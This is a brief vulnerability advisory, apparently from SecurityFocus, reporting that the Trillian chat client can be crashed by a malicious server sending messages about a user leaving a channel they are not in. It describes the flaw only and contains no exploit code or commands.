// source: https://www.securityfocus.com/bid/5776/info

A vulnerability has been reported for Trillian. Reportedly, Trillian is prone to a denial of service condition when certain it receives messages about a user leaving a non-specified channel or a channel that the user is not currently in.

It is possible to exploit this issue via a malicious server.
